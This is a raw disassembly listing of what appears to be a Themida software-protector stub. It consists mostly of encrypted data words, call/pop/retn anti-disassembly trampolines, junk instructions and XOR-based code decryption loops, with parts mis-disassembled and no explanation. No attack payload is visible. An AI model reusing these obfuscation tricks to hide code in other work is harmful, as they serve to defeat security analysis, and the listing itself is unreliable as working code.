		dd 37EBC352h, 386FC910h, 81AA450Eh, 15A8FFC7h, 60FF6A62h
		dd 1EE98D89h, 85890611h, 61120FDh, 0D1B5FF61h, 6A06111Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FF67C357h, 11150D95h, 103E906h, 0B00000h
		dd 0B19D8Bh, 0DF810611h, 51592E6Fh, 9D8B70E6h, 6110269h
		dd 816671E4h, 0BFE0D4EBh, 1CA5E4DEh, 830F613Ch,	0D9h, 89C8B60Fh
		dd 1131618Dh, 6BA06h, 0EF810000h, 664368ADh, 0BF0FC18Bh
		dd 4E8C1D8h, 68D0Fh, 9D010000h,	6110911h, 0FE2F766h, 888h
		dd 9D295200h, 6110529h,	66C82B5Bh, 0D18BD88Bh, 1B658589h
		dd 9D8B0611h, 6111C19h,	6E9h, 199D8900h, 8B061101h, 1113B185h
		dd 9E95606h, 79000000h,	0DF359B45h, 0A1B023Bh, 7C0835Fh
		dd 839CDF80h, 0B70F00C0h, 0FD03BFBh, 1183h, 25B52900h
		dd 0E9061118h, 4Dh, 1F459D89h, 8D8B0611h, 6112199h, 0F01E183h
		dd 3884h, 49BD8900h, 8306111Eh,	112199A5h, 9D29FE06h, 6110325h
		dd 0FE9h, 0C28D1200h, 0B38F3662h, 4E134B0Ch, 742BEA45h
		dd 13B19589h, 0BD8B0611h, 611182Dh, 0E9h, 0C1B58D00h, 6A0614D3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 1505C351h, 76DC6F6Dh, 133D8589h, 6A0611h
		dd 3199D8Bh, 95FF0611h,	61105C5h, 33DDBD8Bh, 0F9B90611h
		dd 6A000006h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 9FEFC353h, 46CF145Ch, 14E8A2D4h
		dd 0EF000000h, 0CF145C9Fh, 0F0A2D446h, 3AB9CBD3h, 0E549398Bh
		dd 8998E6A9h, 1113819Dh, 0E1835B06h, 0DFBF66FCh, 9D2360CFh
		dd 6110175h, 2BFC61F5h,	51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0CCFA82B2h, 0BF161755h
		dd 8E960h, 14B80000h, 9DEE097Bh, 9D313AECh, 6110B51h, 699D8B61h
		dd 0BA061128h, 0
; ---------------------------------------------------------------------------
		mov	edi, 65FFE4C4h


loc_58DE9D:				; CODE XREF: Themida_:0058DEA7j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_58DE9D
		mov	[ebp+61106B5h],	edi
		jmp	loc_58DEC0
; ---------------------------------------------------------------------------
		dd 4CB8EB49h, 607F7741h, 7D2C482Eh
; ---------------------------------------------------------------------------


loc_58DEC0:				; CODE XREF: Themida_:0058DEAFj
		xor	[ebp+61121FDh],	edx
		or	eax, 88h
		push	0
		push	edx
		call	sub_58DED6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DED6	proc near		; CODE XREF: Themida_:0058DECEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58DED6	endp

; ---------------------------------------------------------------------------
		scasd
		mov	ebx, 53E14FE3h
		add	ebx, [ebp+6111B1Dh]
		pop	ebx
		mov	edx, [ebp+611285Dh]
		jno	$+6
		mov	ecx, [ebp+6112DD1h]
		push	0
		push	edx
		call	sub_58DF10
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DF10	proc near		; CODE XREF: Themida_:0058DF08p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58DF10	endp

; ---------------------------------------------------------------------------
		and	al, 0BEh
		std
		retn	5FF2h
; ---------------------------------------------------------------------------
		dw 6B00h
; ---------------------------------------------------------------------------
		xor	ebp, ecx
		add	eax, 84000000h
		neg	dword ptr [ecx]
		mov	[ecx+50h], cl
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	edi
		call	sub_58DF50
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DF50	proc near		; CODE XREF: Themida_:0058DF48p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58DF50	endp

; ---------------------------------------------------------------------------
		dd 8B66DAF0h, 81BD83DAh, 61123h, 68840Fh, 21BF0000h, 0B858B95Bh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58DF87
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DF87	proc near		; CODE XREF: Themida_:0058DF7Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58DF87	endp

; ---------------------------------------------------------------------------
		xchg	ch, [ecx]
		test	ds:8D061107h, ecx
		lea	edi, [esi]
		dec	esi
		adc	[esi], eax
		push	0
		push	eax
		call	sub_58DFAF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DFAF	proc near		; CODE XREF: Themida_:0058DFA7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58DFAF	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sub	ebp, 6Eh
		or	ebx, [ebx+ebp*2-72CE0B81h]
		sbb	eax, 66061107h
		mov	edi, 0E1FFE55Dh
		mov	ebx, [ebp+61112D5h]
		cmp	dword ptr [ebp+6112709h], 0
		jz	loc_58E45D
		stc
		cmp	dword ptr [ebp+6112709h], 1
		jz	loc_58E478
		push	0
		push	edx
		call	sub_58E000
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E000	proc near		; CODE XREF: Themida_:0058DFF8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58E000	endp

; ---------------------------------------------------------------------------
		dd 0AA2B60A2h, 8981757Ah, 1103258Dh, 9BD8306h, 3061127h
		dd 418860Fh, 8D890000h,	611346Dh, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 31233A21h
		dd 0DEB70F06h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0F15DC353h,	499EACF2h
		dd 950146ECh, 6111F25h,	6A04E180h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1CD8C355h
		dd 81B70B37h, 0E84A7AD1h, 0DA19D29h, 0C90A0611h, 14D840Fh
		dd 8A0F0000h, 6, 31CD9D8Bh, 8B520611h, 11080D9Dh, 858B5F06h
		dd 6111BF5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	94C35646h, 0ACD916F9h, 54BEECFh, 30D99D23h, 85330611h
		dd 6110305h, 50A1CB80h,	0CE9h, 0A44B3F00h, 9F573C24h, 0A1E2C6B4h
		dd 2404890Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	4AC35343h, 0ED096835h, 6A006ACCh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1B91C351h
		dd 0DAD0D8B3h, 0E860E8EEh, 7, 7ACBBECAh, 60E5E6ACh, 68615E61h
		dd 742051D9h, 9DB438BBh, 24348152h, 743F5226h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 26C35343h, 2FB7FC65h
		dd 2AC195FFh, 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0A26631C3h, 6646C19Ah, 0F8277779h
		dd 0BD768589h, 6A0614h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0CCA95BC3h, 9DB51B2h, 815BF856h
		dd 145B29F3h, 1FCE90Ah,	8BF50000h, 14BD6E85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0DD625378h, 56538C51h, 840F0F6Ah, 8,	7D9D8952h, 5B06112Ch
		dd 31D58D89h, 0C70611h,	18h, 32C1BD09h,	0B58B0611h, 614BD72h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8BC35545h
		dd 5BD8B14h, 8B061115h,	1114E985h, 0D5BD2B06h, 0F506110Dh
		dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BB90AC3h, 111BF585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 2118A43Fh
		dd 44689D6h, 0E896C9B7h, 0Fh, 8DA1AF80h, 0EF406B4Fh, 0A4077446h
		dd 506504A0h, 8E952h, 9E800000h, 0F1509EF5h, 310FA1EFh
		dd 11E9h, 67534B00h, 18CA6C37h,	960C7097h, 0FD1E1624h
		dd 585A5762h, 0DE9505Fh, 0B7000000h, 0BA36A7C4h, 5D606440h
		dd 0EBBA6306h, 57006A96h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0EB0A17F9h, 50C9583h
		dd 810FB968h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+61107A5h],	ecx
		push	dword ptr [ebp+614BD6Eh]
		mov	edi, [ebp+6113275h]
		push	0D851665Ch
		add	dword ptr [esp], 27CD9DA3h
		push	0
		push	ebx
		call	sub_58E375
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E375	proc near		; CODE XREF: Themida_:0058E36Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_58E375	endp

; ---------------------------------------------------------------------------
		db 0F7h, 8Ah, 1Ah
		dd 94400AEAh, 76858DDDh, 6A0614BDh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 74A3C357h
		dd 8BFC1C82h, 112C999Dh, 0BE95006h, 1D000000h, 5C7EE93h
		dd 0E7AED871h, 489D819h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0F4825CADh, 0BDC5CB81h
		dd 95FF73B6h, 6112AC1h,	1799BD89h, 0E9610611h, 0Dh, 91ECE253h
		dd 9B495796h, 0FD68B939h, 985C7DCh, 3061127h, 0F000000h
		dd 383h, 0DBBF0F00h, 0BD76BD83h, 0F000614h, 1184h, 4D8D2900h
		dd 0E9061120h, 21h, 13318589h, 30500611h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_58E45D:				; CODE XREF: Themida_:0058DFE1j
					; Themida_:0058E474j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_58E45D
		jmp	short loc_58E493
; ---------------------------------------------------------------------------


loc_58E478:				; CODE XREF: Themida_:0058DFEFj
					; Themida_:0058E48Fj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_58E478
		jmp	short $+2


loc_58E493:				; CODE XREF: Themida_:0058E476j
		mov	eax, eax
		push	0
		push	eax
		call	sub_58E4A0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E4A0	proc near		; CODE XREF: Themida_:0058E498p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58E4A0	endp

; ---------------------------------------------------------------------------
		fucomi	st, st(3)
		mov	edi, [ebp+61132D1h]
		mov	bx, 0F5ABh
		cmp	dword ptr [ebp+6112709h], 3
		jnz	loc_58E951
		push	0
		push	eax
		call	sub_58E4D4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E4D4	proc near		; CODE XREF: Themida_:0058E4CCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58E4D4	endp

; ---------------------------------------------------------------------------
		js	short near ptr loc_58E506+2
		sbb	eax, 4B09DEE7h
		or	[ebp+61102A9h],	edi
		cmp	dword ptr [ebp+614BD76h], 0
		jz	loc_58E951
		push	0
		push	ebp
		call	sub_58E509


loc_58E506:				; CODE XREF: Themida_:0058E4E4j
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E509	proc near		; CODE XREF: Themida_:0058E501p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_58E509	endp

; ---------------------------------------------------------------------------
		mov	esi, 0BD76B5FFh
		adc	al, 6
		push	0
		push	ebx
		call	sub_58E52B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E52B	proc near		; CODE XREF: Themida_:0058E523p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58E52B	endp

; ---------------------------------------------------------------------------
		db 8
		dd 0E04AE2F9h, 19A5D1D2h, 0CE3A32BBh, 9195FF27h, 6A061132h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 4AF7C356h, 554CCCE3h, 0BD6AB58Bh,	9D8B0614h
		dd 61127B5h, 106C7h, 850F0001h,	6, 0B0DBD8Bh, 0F960611h
		dd 289h, 5080B700h, 0E9515250h,	14h, 1DF46368h,	455DD9D9h
		dd 0CA120967h, 2F268DCEh, 0F6FBAD06h, 50310F5Bh, 0F525052h
		dd 0F585A31h, 5A616031h, 96585A58h, 1719D8Bh, 0B5FF0611h
		dd 614BD76h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	5FC35141h, 32FAD0B8h, 0AB5B529h, 95FF0611h, 61100E9h
		dd 6AB58BF9h, 8B0614BDh, 11142585h, 9D895206h, 61127A1h
		dd 0C486895Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 756CC356h, 59F9A1E3h
		dd 8B0F2B43h, 11285D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 880F933Eh, 0
; ---------------------------------------------------------------------------
		add	edx, 4
		push	0
		push	eax
		call	sub_58E676
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E676	proc near		; CODE XREF: Themida_:0058E66Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58E676	endp

; ---------------------------------------------------------------------------
		cmp	eax, [esi+edx]
		db	3Eh
		test	al, 0A3h
		movzx	ebx, di
		mov	edi, [ebp+61114BDh]
		mov	[eax+20h], edx
		push	0
		push	ebx
		call	sub_58E6A3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E6A3	proc near		; CODE XREF: Themida_:0058E69Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_58E6A3	endp

; ---------------------------------------------------------------------------
		db 0FAh
		dd 4BC67FEDh, 6E89Dh, 7390000h,	0DFB3B0D3h, 5BD8B70Fh
		dd 0D062858Dh, 6A0614h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6680ECC3h, 38ACCF81h, 0B88689h
		dd 0BF660000h, 6AFC02h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 34C35646h, 899D891Bh,	0E906111Dh, 14h
		dd 105B094Eh, 9E99E32Dh, 9618636Ch, 0D92F9F38h,	40FF405Bh
		dd 0BD76B5FFh, 6A0614h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BBE57CC3h, 5E0FE715h, 2B6595FFh
		dd 13E80611h, 0E000000h, 3C94D193h, 951EBEA7h, 2D45E339h
		dd 78AFE186h, 0BD2393A9h, 61129F5h, 0DE8B965Fh,	6A9650h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 895007C3h, 1123399Dh, 0B5FF5B06h, 614BD76h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4FC35545h, 2954C787h
		dd 110241BDh, 2995FF06h, 8B06110Eh, 1103A99Dh, 61BD8306h
		dd 61127h, 43840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 150424h, 56460000h, 96C470C3h, 0BA666060h
		dd 61612157h, 10E950h, 867B0000h, 6EAB5E97h, 99191639h
		dd 0F1ED4C04h, 8196D2E2h, 69756EC3h, 76B5FF0Ah,	6A0614BDh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 919DC350h, 0C0C5FA55h, 2882F381h,	95FF237Eh
		dd 61112F1h, 0BD76B5FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 51BA61C3h, 8A50EC13h
		dd 0B995FFFCh, 8B061105h, 11212D9Dh, 3DBD8306h,	2061101h
		dd 74840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 190424h, 50400000h, 0F54D3C3h, 668A3FB0h, 8B4379BFh
		dd 11310185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0B70FDF20h, 0DD8589D9h, 0C6061108h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D7BD8C3h, 85C7AC60h, 61104D5h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58E933
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E933	proc near		; CODE XREF: Themida_:0058E92Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_58E933	endp

; ---------------------------------------------------------------------------
		db 0B7h
		dd 383F2EE1h, 81DBB27Eh, 0F20C64E7h
		db 3
; ---------------------------------------------------------------------------


loc_58E951:				; CODE XREF: Themida_:0058E4C3j
					; Themida_:0058E4F8j
		jmp	near ptr dword_58DBC0+0B9h
; ---------------------------------------------------------------------------
		jnp	loc_58E964
		push	ebx
		sub	[ebp+611180Dh],	edx
		pop	ebx


loc_58E964:				; CODE XREF: Themida_:0058E956j
		mov	eax, ecx
		mov	di, 22D8h
		lea	eax, [ebp+6112795h]
		stc
		nop
		call	sub_58E983
		retn
; ---------------------------------------------------------------------------
		dd 0A55C5E0Eh, 8CFE8CE6h
		db 0F6h, 0FFh, 66h

; =============== S U B	R O U T	I N E =======================================



sub_58E983	proc near		; CODE XREF: Themida_:0058E972p
		mov	bx, si
		pop	ebx
		push	eax
		mov	ebx, 7C86B2Fh
		nop
		push	0
		push	ebp
		call	sub_58E999
		and	[ebp-3Dh], bl
sub_58E983	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58E999	proc near		; CODE XREF: sub_58E983+Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_58E999	endp

; ---------------------------------------------------------------------------
		db 7, 0E7h, 0E8h
		dd 5105E75Ah, 6AFC44h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 56C35141h, 9D8986FFh,	6113091h, 9589006Ah
		dd 61112FDh, 4FE3858Dh,	95290615h, 6110089h, 4D51CFBBh
		dd 5C0837Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0E9C35545h, 0E0EAF838h,	6E9h, 0B9456700h, 8BC496ECh
		dd 112C2D9Dh, 4895006h,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 13495F31h, 0E9BF4144h
		dd 0Eh,	0AED46228h, 0D34A47EBh,	59572685h, 0BD89D101h
		dd 61122D9h, 0B589006Ah, 6111CE1h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0C50617C3h
		dd 0F167BDC4h, 0F8813BF4h, 91C12FBBh, 5D95FF57h, 8A061107h
		dd 208D8DFCh, 6A0614A4h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 40FDC353h, 4B5F6341h
		dd 0DE904h, 82BA0000h, 3107F7B2h, 86355042h, 0FFB8BE39h
		dd 55006AD1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0E478C43Ah, 0E352E0CAh, 0DDE38054h, 2459BD01h
		dd 0BD830611h, 6111B71h, 92850F01h, 80000000h, 26A1FE3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h
		dd 0B334AA7h, 6F6046A3h, 0EE860h, 0E2F60000h, 0EA853F71h
		dd 22E6A3EBh, 74FD94Bh,	62C18166h, 90615E12h, 50F98B66h
		dd 0FE9h, 344BAF00h, 18D14FD3h,	364DE6C4h, 25C1EB80h, 7D9D8990h
		dd 0FF061134h, 112B6595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0AFFB2481h
		dd 8B5F22B2h, 1112F59Dh, 0D01E906h, 0E80000h, 5D000000h
		dd 4FEDED81h, 0BE90615h, 0C0000000h, 0C318942h,	0D24675E1h
		dd 6A39C7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 51938EC3h, 8166A06Ah, 50B16CCFh, 2185BD2Bh
		dd 8D5B0611h, 14896885h, 0DE8B6606h, 97BB6650h,	240489B9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 2BC35646h
		dd 28C0F60h, 52000000h,	7988BE5Fh, 6461794Eh, 35FFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0CCEFA6C3h, 6E952B8h, 0F7000000h, 6E64964Ch,	89645F5Ch
		dd 25h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1504h, 0C3534300h, 85FFDD82h, 61107ADh, 27E99D89h, 0FF6A0611h
		dd 0E5D38166h, 0B9B5FF01h, 29061106h, 1114E585h, 0D95FF06h
		dd 0E9061115h, 107h, 0AE9h, 2E7F4500h, 2C4153ADh, 0E9CF7AC4h
		dd 7, 0D6748776h, 0B09398E4h, 1870F00h,	0FC000000h, 8E970E6h
		dd 38000000h, 1C566DF2h, 0E4034F95h, 613CF571h,	0C9830Fh
		dd 8B660000h, 0C8B60FFEh, 14E952h, 572A0000h, 6B429AEDh
		dd 1CA20875h, 0FED4B221h, 6A4CAB04h, 0BA5B3F1Dh, 6, 0A840Fh
		dd 860F0000h, 4, 38CCBF66h, 0B753C18Bh,	0BD295F0Bh, 611136Dh
		dd 0F504E8C1h, 0BFE2F766h, 727981C1h, 9D8BC82Bh, 6112B9Dh
		dd 3445BD8Bh, 0D18B0611h, 0FA18589h, 1E90611h, 0F8000000h
		dd 234D858Bh, 0C0830611h, 8CBF6607h, 0C083D8h, 31C5B501h
		dd 0D03B0611h, 0F830Fh,	0BB660000h, 38E9752Fh, 8B000000h
		dd 110639BDh, 0ED8D8B06h, 9061101h, 110DD5B5h, 1E18306h
		dd 1D840Fh, 0A5830000h,	61101EDh, 6D9589FEh, 89061129h
		dd 11234D95h, 0E3EDBF06h, 0E970F3h, 8D000000h, 14DCDBB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 12D576Ah, 11081D95h, 89006A06h, 110A3195h
		dd 0C595FF06h, 6A061105h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0BFC4C353h,	7BCD9270h
		dd 0C64B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 66E9D7E8h, 10ABD781h, 89FCE183h
		dd 110C8595h, 0D8D2906h, 0FC06110Eh, 3D9BD8Bh, 0B80611h
		dd 8A000000h, 0BAF9h, 9D8B0000h, 6112A55h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0B9C38166h, 9E8EBh, 0B9A80000h
		dd 12FF82A9h, 0FFAE550h, 8Ch, 880D5B00h, 52000000h, 7B59D8Bh
		dd 8B5F0611h, 11285D95h, 0F5BD3306h, 8B061129h,	112DD18Dh
		dd 0EE906h, 643B0000h, 737C47BDh, 0A35D1772h, 2772E3B0h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 31D0B5C3h, 860F2BD5h, 13h, 0EE9h, 6DEF4D00h,	31E1B071h
		dd 49AE0214h, 6A4DC8DCh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0B4F6C352h,	8B663D6Fh
		dd 81BD83D9h, 61123h, 81840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B833C3h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FC6BC353h, 4E3E8D8Dh,	6A0611h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0DDF04CC3h, 0F60D167h, 0C8Eh, 68F0F00h, 9000000h, 112BAD9Dh
		dd 25858906h, 0FF061115h, 8303B3E1h, 112709BDh,	840F0006h
		dd 418h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	81C35747h, 665A5241h, 0BD83DA8Bh, 6112709h, 4840F01h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2057C351h, 38F041AFh, 35BB53A9h
		dd 0E950E295h, 5, 0CC74F52Ch, 9BD838Fh,	3061127h, 38F860Fh
		dd 95290000h, 61108ADh,	99D8B60h, 66061106h, 0BF66D98Ch
		dd 0E180D23Ch, 840F5704h, 6, 0D9D8Bh, 8B5B0611h, 1132D5BDh
		dd 0FC90A06h, 0FD84h, 55B58900h, 8B06110Dh, 111BF585h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0F7C00186h, 3058533h, 0AE80611h,	81000000h
		dd 542B0A57h, 16B5FE67h, 65BD0B0Dh, 5B061101h, 0E850F90h
		dd 50000000h, 0F34B352h, 0F525031h, 5A585A31h, 0BF665058h
		dd 0E9904D63h, 8, 4DEA2FDAh, 87116172h,	8951006Ah, 110E6985h
		dd 850F5B06h, 6, 1439BD8Bh, 0EA680611h,	8B522600h, 243481D8h
		dd 52390315h, 3199589h,	95FF0611h, 6112AC1h, 19890Fh, 0DE80000h
		dd 8D000000h, 46032DB0h, 0E3D7C2C0h, 28DCA9CBh,	23919D89h
		dd 895B0611h, 14BD7685h, 0BD9D8B06h, 0E906111Dh, 1E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6FC35747h
		dd 43DB639Dh, 0BD8B642Dh, 6112C21h, 17AD9D2Bh, 858B0611h
		dd 614BD6Eh, 1800C7h, 0B7570000h, 0B58B5B42h, 614BD72h
		dd 99F38166h, 0E9858BD7h, 6A061114h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 82C0C350h
		dd 14FCC170h, 9589602Fh, 6110B5Dh
		dd 0F390D681h, 896161E9h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0E9653017h
		dd 192DD69Fh, 12E91586h, 0B0000000h, 0C240E88Dh, 0A031D557h
		dd 24ECE74Bh, 4AAA9B84h, 11BD2B38h, 8B061129h, 111BF585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0B598A60Eh, 4FA1E100h, 89D8B70Fh, 6A0446h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 8D3DACC3h, 96CF5E93h, 0DE8h,	0D1BD7600h, 0A51C861Eh
